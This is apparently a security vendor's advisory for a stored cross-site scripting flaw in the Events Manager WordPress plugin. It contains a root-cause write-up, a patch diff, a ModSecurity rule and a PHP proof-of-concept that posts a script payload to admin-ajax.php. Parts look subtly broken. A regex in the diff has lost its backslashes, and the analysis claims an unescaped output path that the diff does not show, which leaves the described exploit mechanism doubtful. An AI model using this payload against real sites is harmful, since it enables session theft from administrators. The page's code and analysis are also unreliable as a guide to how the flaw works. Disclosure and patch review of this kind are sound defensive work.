Published : December 4, 2026

CVE-2026-97018: Events Manager <= 7.4.8 Unauthenticated Stored Cross-Site Scripting via 'booking_id' Parameter Mass-Assignment PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.4.8
Patched Version 7.4.9
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-97018: The Events Manager WordPress plugin (versions up to and including 7.4.8) is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) through the ‘booking_id’ parameter. The vulnerability arises from insufficient input sanitization and output escaping, allowing attackers to inject arbitrary web scripts that execute when users access an injected page. The CVSS score is 7.2, reflecting a high-severity issue. Exploitation requires the ‘Allow guest bookings’ option to be enabled, which is the default.

Root Cause: The vulnerability exists in the mass-assignment of user-supplied input to booking objects. In multiple locations (events-manager/classes/em-bookings-table.php, events-manager/em-actions.php), the code directly passes $_REQUEST[‘booking_id’] to em_get_booking() without validation. The em_get_booking() function accepts either an integer or an array. When an array is provided, it is used to populate a new EM_Booking object via mass assignment. The EM_Booking class does not properly sanitize or escape the ‘booking_id’ parameter when rendering booking details, leading to stored XSS. The patch introduces em_get_booking_request() to validate the input: only positive integers or 32-character UUIDs are accepted; arrays are rejected. Additionally, several output escaping fixes were applied (e.g., esc_attr, esc_html) to prevent XSS in templates.

Exploitation: An unauthenticated attacker can send a crafted request to the booking handling endpoint (e.g., wp-admin/admin-ajax.php with action ‘booking_add’ or via the em-actions.php handler) containing a ‘booking_id’ parameter as an array with malicious JavaScript. For example: booking_id[]=alert(1). Due to mass assignment, this input is stored in the booking object and later rendered without escaping, executing the script in the context of an administrator or other user viewing the booking. The ‘Allow guest bookings’ setting must be enabled, which is the default.

Patch Analysis: The patch introduces em_get_booking_request() which validates the ‘booking_id’ parameter: if numeric, it casts to integer; if a 32-character alphanumeric string (UUID), it passes through; otherwise, it returns an empty booking. This prevents array mass-assignment. The patch also adds output escaping in various templates (e.g., esc_attr, esc_html) to mitigate XSS. Before the patch, raw input was passed directly; after the patch, input is strictly validated and output is escaped.

Impact: Successful exploitation allows an attacker to inject persistent JavaScript that executes in the browsers of users who view the affected booking pages, including administrators. This can lead to session hijacking, privilege escalation, data theft, or complete site compromise. The vulnerability is particularly dangerous because it requires no authentication and affects the default configuration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-manager/classes/em-booking.php
+++ b/events-manager/classes/em-booking.php
@@ -31,6 +31,20 @@
 	}
 }
 /**
+ * Resolve a booking from a request-supplied id. Accepts only a positive integer id or a 32-character booking UUID; any other value (notably an array, which would otherwise be mass-assigned onto a new EM_Booking) returns an empty booking.
+ * @param mixed $value
+ * @return EM_Booking
+ */
+function em_get_booking_request( $value ) {
+	if ( is_numeric( $value ) ) {
+		return em_get_booking( absint( $value ) );
+	}
+	if ( is_string( $value ) && preg_match( '/^[A-Za-z0-9]{32}$/', $value ) ) {
+		return em_get_booking( $value );
+	}
+	return em_get_booking();
+}
+/**
  * Contains all information and relevant functions surrounding a single booking made with Events Manager
  * @property int|false $booking_status
  * @property string $language
@@ -1336,8 +1350,12 @@
 		global $wpdb;
 		$action_string = strtolower($this->status_array[$status]);
 		//if we're approving we can't approve a booking if spaces are full, so check before it's approved.
+		// Hold a per-event lock across the full-check and the status write so two concurrent approvals can't both pass a stale space count and overbook.
+		$status_lock_event_id = ( !$ignore_spaces && $status == 1 ) ? $this->get_event_id() : 0;
+		$status_locked = $status_lock_event_id ? EM_Bookings::acquire_lock( $status_lock_event_id ) : false;
 		if(!$ignore_spaces && $status == 1){
-			if( !$this->is_reserved() && $this->get_event()->get_bookings()->get_available_spaces() < $this->get_spaces() && !$this->get_option('dbem_bookings_approval_overbooking') ){
+			if( !$this->is_reserved() && $this->get_event()->get_bookings()->get_available_spaces(true) < $this->get_spaces() && !$this->get_option('dbem_bookings_approval_overbooking') ){
+				if( $status_locked ) EM_Bookings::release_lock( $status_lock_event_id );
 				$this->feedback_message = sprintf(__('Not approved, spaces full.','events-manager'), $action_string);
 				$this->add_error($this->feedback_message);
 				return apply_filters('em_booking_set_status', false, $this);
@@ -1346,6 +1364,7 @@
 		$this->previous_status = $this->booking_status;
 		$this->booking_status = absint($status);
 		$result = $wpdb->query($wpdb->prepare('UPDATE '.EM_BOOKINGS_TABLE.' SET booking_status=%d WHERE booking_id=%d', array($status, $this->booking_id)));
+		if( $status_locked ) EM_Bookings::release_lock( $status_lock_event_id );
 		if($result !== false){
 			$this->flush_event_cache();
 			$this->update_meta('previous_status', $this->previous_status);
--- a/events-manager/classes/em-bookings-table.php
+++ b/events-manager/classes/em-bookings-table.php
@@ -386,7 +386,7 @@
 		do_action( static::$basename . '_ajax_table_row_action_' . $requested_action );
 		do_action( static::$basename . '_ajax_table_row_action', $requested_action );
 		$allowed_actions = array('bookings_approve'=>'approve','bookings_reject'=>'reject','bookings_unapprove'=>'unapprove', 'bookings_delete'=>'delete');
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		if( ( array_key_exists($requested_action, $allowed_actions) || in_array( $requested_action, $allowed_actions )) && $EM_Booking->can_manage('manage_bookings','manage_others_bookings') ){
 			//Event Admin only actions
 			$action = $allowed_actions[$requested_action] ?? $requested_action;
--- a/events-manager/classes/em-bookings.php
+++ b/events-manager/classes/em-bookings.php
@@ -155,6 +155,39 @@
 	 * @param EM_Booking $EM_Booking
 	 * @return boolean
 	 */
+	/**
+	 * Acquire a short-lived MySQL advisory lock scoped to one event's bookings, so the availability check and the insert run as one critical section and concurrent requests can't each pass a stale space count and oversell. Best-effort: returns false if the lock can't be taken, in which case callers fall back to a non-atomic re-check rather than blocking a legitimate booking.
+	 * @param int $event_id
+	 * @param int $timeout seconds to wait for the lock
+	 * @return bool whether the lock was acquired
+	 */
+	public static function acquire_lock( $event_id, $timeout = 10 ){
+		global $wpdb;
+		if( empty($event_id) ) return false;
+		$got = $wpdb->get_var( $wpdb->prepare( 'SELECT GET_LOCK(%s, %d)', self::lock_name($event_id), $timeout ) );
+		return $got === '1' || $got === 1;
+	}
+
+	/**
+	 * Release a lock previously taken with acquire_lock(). Safe to call only when acquire_lock() returned true.
+	 * @param int $event_id
+	 */
+	public static function release_lock( $event_id ){
+		global $wpdb;
+		if( empty($event_id) ) return;
+		$wpdb->get_var( $wpdb->prepare( 'SELECT RELEASE_LOCK(%s)', self::lock_name($event_id) ) );
+	}
+
+	/**
+	 * GET_LOCK names are global to the MySQL server and capped at 64 characters, so namespace by database and table prefix: a collision between unrelated installs on a shared server would only cost extra serialization, never correctness.
+	 * @param int $event_id
+	 * @return string
+	 */
+	protected static function lock_name( $event_id ){
+		global $wpdb;
+		return 'em_bk_' . md5( DB_NAME . '|' . $wpdb->prefix . '|' . absint($event_id) );
+	}
+
 	function add( $EM_Booking ){
 		//Save the booking
 		$email = false;
@@ -162,7 +195,18 @@
 		if( empty($EM_Booking->booking_status) ){ //if status is not set, give 1 or 0 depending on approval settings
 			$EM_Booking->booking_status = em_get_option('dbem_bookings_approval') ? 0:1;
 		}
+		// Re-check availability against a fresh count, holding a per-event lock across the check and the insert so two concurrent bookings can't both pass a stale space count. The caller already validated, but that count can be stale by the time we save. Skipped when restrictions are disabled (e.g. manual bookings, which may intentionally overbook).
+		$lock_event_id = $EM_Booking->get_event_id();
+		$booking_locked = self::acquire_lock( $lock_event_id );
+		if( !self::$disable_restrictions && $EM_Booking->get_event()->get_bookings()->get_available_spaces(true) < $EM_Booking->get_spaces() ){
+			if( $booking_locked ) self::release_lock( $lock_event_id );
+			$EM_Booking->add_error( $EM_Booking->get_option('dbem_booking_feedback_full') );
+			$this->feedback_message = $EM_Booking->get_option('dbem_booking_feedback_full');
+			$this->errors = array_merge( $this->errors, $EM_Booking->get_errors() );
+			return apply_filters('em_bookings_add', false, $EM_Booking);
+		}
 		$result = $EM_Booking->save(false);
+		if( $booking_locked ) self::release_lock( $lock_event_id );
 		if ( $result ){
 			//Success
 		    do_action('em_bookings_added', $EM_Booking);
--- a/events-manager/classes/em-event.php
+++ b/events-manager/classes/em-event.php
@@ -1161,7 +1161,7 @@
 				}
 		    }else{
 				// if no rsvp cut-off date supplied, make it the event start date
-				$this->event_rsvp_date = ( !empty($_POST['event_rsvp_date']) ) ? wp_kses_data($_POST['event_rsvp_date']) : $this->event_start_date;
+				$this->event_rsvp_date = ( !empty($_POST['event_rsvp_date']) && preg_match('/^d{4}-d{2}-d{2}$/', $_POST['event_rsvp_date']) ) ? sanitize_text_field($_POST['event_rsvp_date']) : $this->event_start_date;
 				// if no specificed time, default to event start time
 				if ( empty($_POST['event_rsvp_time']) ) $this->event_rsvp_time = $this->event_start_time;
 		    }
--- a/events-manager/classes/em-phone.php
+++ b/events-manager/classes/em-phone.php
@@ -70,7 +70,9 @@
 	public static function validate( $value, $options = array() ) {
 		$phoneUtil = static::get();
 		try {
-			$phone = $phoneUtil->parse( $value ); // we expect a +... number so in theory no region required
+			// Parse against the configured default country, the same region parse() uses, so a stored national-format number (e.g. a value saved before validation was enabled, or an admin profile edit where the E.164 input script hasn't run) validates the way it is displayed instead of throwing for want of a leading "+".
+			$region = !empty($options['country']) ? $options['country'] : em_get_option('dbem_phone_default_country');
+			$phone = $phoneUtil->parse( $value, $region );
 			if ( $phoneUtil->isValidNumber( $phone ) ) {
 				return true;
 			}
--- a/events-manager/em-actions.php
+++ b/events-manager/em-actions.php
@@ -339,7 +339,7 @@
 	if( !empty($_REQUEST['action']) && in_array($_REQUEST['action'], $booking_actions) && (is_user_logged_in() || (in_array($_REQUEST['action'], $booking_nopriv_actions) && em_get_option('dbem_bookings_anonymous'))) ){
 		global $EM_Event, $EM_Booking, $EM_Person;
 		//Load the booking object, with saved booking if requested
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		if( !empty($EM_Booking->event_id) ){
 			//Load the event object, with saved event if requested
 			$EM_Event = $EM_Booking->get_event();
@@ -677,7 +677,7 @@
 		}
 	}elseif( !empty($_REQUEST['action']) && $_REQUEST['action'] == 'booking_add' && !is_user_logged_in() && !em_get_option('dbem_bookings_anonymous')){
 		global $EM_Booking;
-		$EM_Booking = ( !empty($_REQUEST['booking_id']) ) ? em_get_booking($_REQUEST['booking_id']) : em_get_booking();
+		$EM_Booking = em_get_booking_request( $_REQUEST['booking_id'] ?? false );
 		$EM_Notices->add_error( $EM_Booking->get_option('dbem_booking_feedback_log_in') );
 		if( defined('DOING_AJAX') ){
 			$return = array('result'=>false, 'success'=>false, 'message'=> $EM_Booking->get_option('dbem_booking_feedback_log_in'), 'errors'=>$EM_Notices->get_errors());
--- a/events-manager/events-manager.php
+++ b/events-manager/events-manager.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Events Manager
-Version: 7.4.8
+Version: 7.4.9
 Plugin URI: https://wp-events-plugin.com
 Description: Event registration and booking management for WordPress. Recurring events, locations, webinars, google maps, rss, ical, booking registration and more!
 Author: Pixelite
@@ -30,7 +30,7 @@
 // Setting constants
 use EMArchetypes;

-define('EM_VERSION', '7.4.8'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
+define('EM_VERSION', '7.4.9'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
 define('EM_PRO_MIN_VERSION', '3.9'); //self expanatory
 define('EM_PRO_MIN_VERSION_CRITICAL', '3.6.0.2'); //self expanatory
 define('EM_FILE', __FILE__); //an absolute path to this directory
--- a/events-manager/templates/forms/event/bookings.php
+++ b/events-manager/templates/forms/event/bookings.php
@@ -187,7 +187,7 @@
 				<span class="em-booking-date-normal em-datepicker">
 					<input type="hidden" class="em-date-input em-date-input-start" aria-hidden="true" aria-label="<?php esc_html_e('Booking Cut-Off Date','events-manager'); ?>">
 					<span class="em-datepicker-data">
-						<input type="date" name="event_rsvp_date" value="<?php echo $EM_Event->event_rsvp_date; ?>">
+						<input type="date" name="event_rsvp_date" value="<?php echo esc_attr($EM_Event->event_rsvp_date); ?>">
 					</span>
 				</span>
 				<span class="em-booking-date-recurring">
--- a/events-manager/templates/placeholders/locationmap.php
+++ b/events-manager/templates/placeholders/locationmap.php
@@ -19,7 +19,7 @@
 		if( em_get_option('dbem_gmap_type') == 'embed' ){
 			$map_url = $EM_Location->get_google_maps_embed_url();
 			?>
-			<div class="em-location-map-container"  style='position:relative; background: #CDCDCD; width: <?php echo $width ?>; height: <?php echo $height ?>;'>
+			<div class="em-location-map-container"  style='position:relative; background: #CDCDCD; width: <?php echo esc_attr($width) ?>; height: <?php echo esc_attr($height) ?>;'>
 				<iframe class="em-location-map" style="width:100%; height:100%; border:0;" src="<?php echo esc_attr($map_url); ?>" allowfullscreen></iframe>
 			</div>
 			<?php
--- a/events-manager/templates/tables/events.php
+++ b/events-manager/templates/tables/events.php
@@ -11,30 +11,30 @@
 	/* @var bool $show_add_new */
 	/* @var int $limit */
 	/* @var int $page */
-	$url = esc_url(add_query_arg(array('scope' => null, 'status' => null, 'em_search' => null, 'pno' => null, 'admin_mode' => null))); //template for cleaning the link for each view below
+	$url = add_query_arg(array('scope' => null, 'status' => null, 'em_search' => null, 'pno' => null, 'admin_mode' => null)); //template for cleaning the link for each view below
 	?>
 	<div class="<?php em_template_classes('events-admin', 'events-admin-list'); ?>">
 		<form id="posts-filter" action="" method="get" class="input">
 			<?php
 			echo $EM_Notices;
 			//add new button will only appear if called from em_event_admin template tag, or if the $show_add_new var is set
-			if(!empty($show_add_new) && current_user_can('edit_events')) echo '<a class="em-button button add-new-h2" href="'.em_add_get_params($_SERVER['REQUEST_URI'],array('action'=>'edit','scope'=>null,'status'=>null,'event_id'=>null, 'success'=>null)).'">'.__('Add New','events-manager').'</a>';
+			if(!empty($show_add_new) && current_user_can('edit_events')) echo '<a class="em-button button add-new-h2" href="'.esc_url( em_add_get_params($_SERVER['REQUEST_URI'],array('action'=>'edit','scope'=>null,'status'=>null,'event_id'=>null, 'success'=>null)) ).'">'.__('Add New','events-manager').'</a>';
 			?>
 			<div class="subsubsub">
-				<?php $url = esc_url(add_query_arg(array('scope'=>null,'status'=>null,'em_search'=>null,'pno'=>null, 'admin_mode'=>null))); //template for cleaning the link for each view below ?>
-				<a href='<?php echo add_query_arg('view', 'future', $url); ?>' <?php echo ( !isset($_GET['view']) ) ? 'class="current"':''; ?>><?php _e ( 'Upcoming', 'events-manager'); ?> <span class="count">(<?php echo $future_count; ?>)</span></a>  | 
+				<?php $url = add_query_arg(array('scope'=>null,'status'=>null,'em_search'=>null,'pno'=>null, 'admin_mode'=>null)); //template for cleaning the link for each view below ?>
+				<a href='<?php echo esc_url( add_query_arg('view', 'future', $url) ); ?>' <?php echo ( !isset($_GET['view']) ) ? 'class="current"':''; ?>><?php _e ( 'Upcoming', 'events-manager'); ?> <span class="count">(<?php echo $future_count; ?>)</span></a>  | 
 				<?php if( $pending_count > 0 ): ?>
-				<a href='<?php echo add_query_arg('view', 'pending', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'pending' ) ? 'class="current"':''; ?>><?php _e ( 'Pending', 'events-manager'); ?> <span class="count">(<?php echo $pending_count; ?>)</span></a>  | 
+				<a href='<?php echo esc_url( add_query_arg('view', 'pending', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'pending' ) ? 'class="current"':''; ?>><?php _e ( 'Pending', 'events-manager'); ?> <span class="count">(<?php echo $pending_count; ?>)</span></a>  | 
 				<?php endif; ?>
 				<?php if( $draft_count > 0 ): ?>
-				<a href='<?php echo add_query_arg('view', 'draft', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'draft' ) ? 'class="current"':''; ?>><?php _e ( 'Draft', 'events-manager'); ?> <span class="count">(<?php echo $draft_count; ?>)</span></a>  |
+				<a href='<?php echo esc_url( add_query_arg('view', 'draft', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'draft' ) ? 'class="current"':''; ?>><?php _e ( 'Draft', 'events-manager'); ?> <span class="count">(<?php echo $draft_count; ?>)</span></a>  |
 				<?php endif; ?>
-				<a href='<?php echo add_query_arg('view', 'past', $url); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'past' ) ? 'class="current"':''; ?>><?php _e ( 'Past Events', 'events-manager'); ?> <span class="count">(<?php echo $past_count; ?>)</span></a>
+				<a href='<?php echo esc_url( add_query_arg('view', 'past', $url) ); ?>' <?php echo ( isset($_GET['view']) && $_GET['view'] == 'past' ) ? 'class="current"':''; ?>><?php _e ( 'Past Events', 'events-manager'); ?> <span class="count">(<?php echo $past_count; ?>)</span></a>

 				<?php if( current_user_can('edit_others_events') ): ?>
 					<div class="admin-events-filter">
-						<a href='<?php echo add_query_arg('admin_mode', 1, $url); ?>' <?php echo ( !empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'All Events', 'events-manager'); ?></a>  | 
-						<a href='<?php echo add_query_arg('admin_mode', null, $url); ?>' <?php echo ( empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'My Events', 'events-manager'); ?></a>
+						<a href='<?php echo esc_url( add_query_arg('admin_mode', 1, $url) ); ?>' <?php echo ( !empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'All Events', 'events-manager'); ?></a>  | 
+						<a href='<?php echo esc_url( add_query_arg('admin_mode', null, $url) ); ?>' <?php echo ( empty($_GET['admin_mode']) ) ? 'class="current"':''; ?>><?php esc_html_e ( 'My Events', 'events-manager'); ?></a>
 					</div>
 				<?php endif; ?>
 			</div>
--- a/events-manager/templates/tables/locations.php
+++ b/events-manager/templates/tables/locations.php
@@ -9,21 +9,21 @@
 	/* @var int $limit */
 	/* @var int $page */
 	/* @var int $offset */
-	$url = esc_url(add_query_arg(array('scope'=>null,'status'=>null,'location_id'=>null)));
+	$url = add_query_arg(array('scope'=>null,'status'=>null,'location_id'=>null));
 ?>
 <div class="<?php em_template_classes('locations-admin'); ?> em-locations-admin-list">
 <?php if(!is_admin()) echo $EM_Notices; ?>
 <form id='locations-filter' method='post' action='' class="input">
 	<?php
 	//add new button will only appear if called from em_location_admin template tag, or if the $show_add_new var is set
-	if(!empty($show_add_new) && current_user_can('edit_locations')) echo '<a class="em-button button add-new-h2" href="'.add_query_arg('action', 'edit', $url).'">'.__('Add New','events-manager').'</a>';
+	if(!empty($show_add_new) && current_user_can('edit_locations')) echo '<a class="em-button button add-new-h2" href="'.esc_url( add_query_arg('action', 'edit', $url) ).'">'.__('Add New','events-manager').'</a>';
 	?>
 	<input type='hidden' name='pno' value='<?php echo esc_attr($page) ?>' />
 	<div class="subsubsub">
-		<a href='<?php echo add_query_arg(array('view'=>null, 'pno'=>null), $url); ?>' <?php echo ( empty($_REQUEST['view']) ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'My %s', 'events-manager'), __('Locations','events-manager')); ?> <span class="count">(<?php echo $locations_mine_count; ?>)</span></a>
+		<a href='<?php echo esc_url( add_query_arg(array('view'=>null, 'pno'=>null), $url) ); ?>' <?php echo ( empty($_REQUEST['view']) ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'My %s', 'events-manager'), __('Locations','events-manager')); ?> <span class="count">(<?php echo $locations_mine_count; ?>)</span></a>
 		<?php if( current_user_can('read_others_locations') ): ?>
 		 | 
-		<a href='<?php echo add_query_arg(array('view'=>'others', 'pno'=>null), $url); ?>' <?php echo ( !empty($_REQUEST['view']) && $_REQUEST['view'] == 'others' ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'All %s', 'events-manager'), __('Locations','events-manager')); ?><span class="count">(<?php echo $locations_all_count; ?>)</span></a>
+		<a href='<?php echo esc_url( add_query_arg(array('view'=>'others', 'pno'=>null), $url) ); ?>' <?php echo ( !empty($_REQUEST['view']) && $_REQUEST['view'] == 'others' ) ? 'class="current"':''; ?>><?php echo sprintf( __( 'All %s', 'events-manager'), __('Locations','events-manager')); ?><span class="count">(<?php echo $locations_all_count; ?>)</span></a>
 		<?php endif; ?>
 	</div>
 	<?php if ( $locations_count > 0 ) : ?>
--- a/events-manager/templates/templates/bookings-event-printable.php
+++ b/events-manager/templates/templates/bookings-event-printable.php
@@ -32,11 +32,11 @@
 		    ?>
 		<tr>

-			<td><?php echo $EM_Booking->person->get_name() ?></td>
-			<td><?php echo $EM_Booking->person->user_email ?></td>
-			<td><?php echo $EM_Booking->person->phone ?></td>
+			<td><?php echo esc_html($EM_Booking->person->get_name()) ?></td>
+			<td><?php echo esc_html($EM_Booking->person->user_email) ?></td>
+			<td><?php echo esc_html($EM_Booking->person->phone) ?></td>
 			<td class='spaces-number'><?php echo $EM_Booking->get_spaces() ?></td>
-			<td><?php echo $EM_Booking->booking_comment ?></td>
+			<td><?php echo esc_html($EM_Booking->booking_comment) ?></td>
 		</tr>
 	   	<?php }} ?>
 	  	<tr id='booked-spaces'>
--- a/events-manager/templates/templates/search/categories.php
+++ b/events-manager/templates/templates/search/categories.php
@@ -9,8 +9,8 @@
 	<label for="em-search-category-<?php echo absint($args['id']) ?>" class="screen-reader-text"><?php echo esc_html($args['category_label']); ?></label>

 	<select name="category[]" class="em-search-category em-selectize <?php echo $args['search_multiselect_style']; ?> checkboxes" id="em-search-category-<?php echo absint($args['id']) ?>" multiple
-	        data-default="<?php echo $args['categories_label']; ?>"
-	        data-label="<?php echo $args['category_label']; ?>"
+	        data-default="<?php echo esc_attr($args['categories_label']); ?>"
+	        data-label="<?php echo esc_attr($args['category_label']); ?>"
             data-clear-text="<?php echo esc_attr($args['categories_clear_text']); ?>"
             data-selected-text="<?php echo esc_attr($args['categories_count_text']); ?>"
 	        placeholder="<?php echo esc_attr($args['categories_placeholder']); ?>">
--- a/events-manager/templates/templates/search/form-sort.php
+++ b/events-manager/templates/templates/search/form-sort.php
@@ -7,7 +7,7 @@
 ?>
 <div class="em-search-sort" aria-label="<?php esc_attr_e('Sorting Order', 'events-manager'); ?>">
 	<div class="em-search-sort-trigger" id="em-search-sort-trigger-<?php echo $id; ?>">
-		<button type="button" class="em-search-sort-option em-clickable em-search-sort-type-<?php echo $args['order']; ?>" data-sort="<?php echo esc_attr($args['order']); ?>"><?php esc_attr_e('Sorting Order', 'events-manager'); ?></button>
-		<input name="order" type="hidden" value="<?php echo $args['order']; ?>">
+		<button type="button" class="em-search-sort-option em-clickable em-search-sort-type-<?php echo esc_attr($args['order']); ?>" data-sort="<?php echo esc_attr($args['order']); ?>"><?php esc_attr_e('Sorting Order', 'events-manager'); ?></button>
+		<input name="order" type="hidden" value="<?php echo esc_attr($args['order']); ?>">
 	</div>
 </div>
 No newline at end of file
--- a/events-manager/templates/templates/search/form-views.php
+++ b/events-manager/templates/templates/search/form-views.php
@@ -6,7 +6,7 @@
 	<div class="em-search-views" aria-label="<?php esc_attr_e('View Types', 'events-manager'); ?>">
 		<?php $search_views = em_get_search_views(); ?>
 		<div class="em-search-views-trigger" data-template="em-search-views-options-<?php echo $id; ?>">
-			<button type="button" class="em-search-view-option em-clickable em-search-view-type-<?php echo $args['view']; ?>" data-view="<?php echo esc_attr($args['view']); ?>"><?php echo esc_html($search_views[$args['view']]['name']); ?></button>
+			<button type="button" class="em-search-view-option em-clickable em-search-view-type-<?php echo esc_attr($args['view']); ?>" data-view="<?php echo esc_attr($args['view']); ?>"><?php echo esc_html($search_views[$args['view']]['name']); ?></button>
 		</div>
 		<div class="em-search-views-options input" id="em-search-views-options-<?php echo $id; ?>">
 			<fieldset class="em-search-views-options-list" id="em-search-views-options-select-<?php echo $id; ?>">
@@ -21,5 +21,5 @@
 		</div>
 	</div>
 <?php else: ?>
-	<input name="view" type="hidden" value="<?php echo $args['view']; ?>">
+	<input name="view" type="hidden" value="<?php echo esc_attr($args['view']); ?>">
 <?php endif; ?>
 No newline at end of file
--- a/events-manager/templates/templates/search/tags.php
+++ b/events-manager/templates/templates/search/tags.php
@@ -8,8 +8,8 @@
 	<label for="em-search-tag-<?php echo absint($args['id']) ?>" class="screen-reader-text"><?php echo esc_html($args['tag_label']); ?></label>

 	<select name="tag[]" class="em-search-tag em-selectize checkboxes <?php echo $args['search_multiselect_style']; ?>" id="em-search-tag-<?php echo absint($args['id']) ?>" multiple size="10"
-            data-default="<?php echo $args['tags_label']; ?>"
-            data-label="<?php echo $args['tag_label']; ?>"
+            data-default="<?php echo esc_attr($args['tags_label']); ?>"
+            data-label="<?php echo esc_attr($args['tag_label']); ?>"
             data-clear-text="<?php echo esc_attr($args['tags_clear_text']); ?>"
             data-count-text="<?php echo esc_attr($args['tags_count_text']); ?>"
             placeholder="<?php echo esc_html($args['tags_placeholder']); ?>">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-97018
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202697018,phase:2,deny,status:403,chain,msg:'CVE-2026-97018 via Events Manager booking_id mass-assignment XSS',severity:'CRITICAL',tag:'CVE-2026-97018'"
  SecRule ARGS_POST:action "@streq booking_add" "chain"
    SecRule ARGS_POST:booking_id "@rx <script" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-97018 - Events Manager <= 7.4.8 - Unauthenticated Stored Cross-Site Scripting via 'booking_id' Parameter Mass-Assignment

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$event_id = 1; // Change to a valid event ID with guest bookings enabled

// The malicious payload to be stored and executed
$xss_payload = '<script>alert("XSS");</script>';

// Prepare the POST data with booking_id as an array containing the payload
$post_data = array(
    'action' => 'booking_add', // The booking action
    'event_id' => $event_id,
    'booking_id' => array($xss_payload), // Array mass-assignment vector
    // Additional required fields for a guest booking (adjust as needed)
    'user_name' => 'attacker',
    'user_email' => 'attacker@example.com',
    'booking_spaces' => 1,
    'booking_comment' => 'test'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch);
} else {
    echo 'Request sent. Response: ' . $response . "n";
    echo 'The payload may be stored. Check the booking page or admin panel for execution.';
}
curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.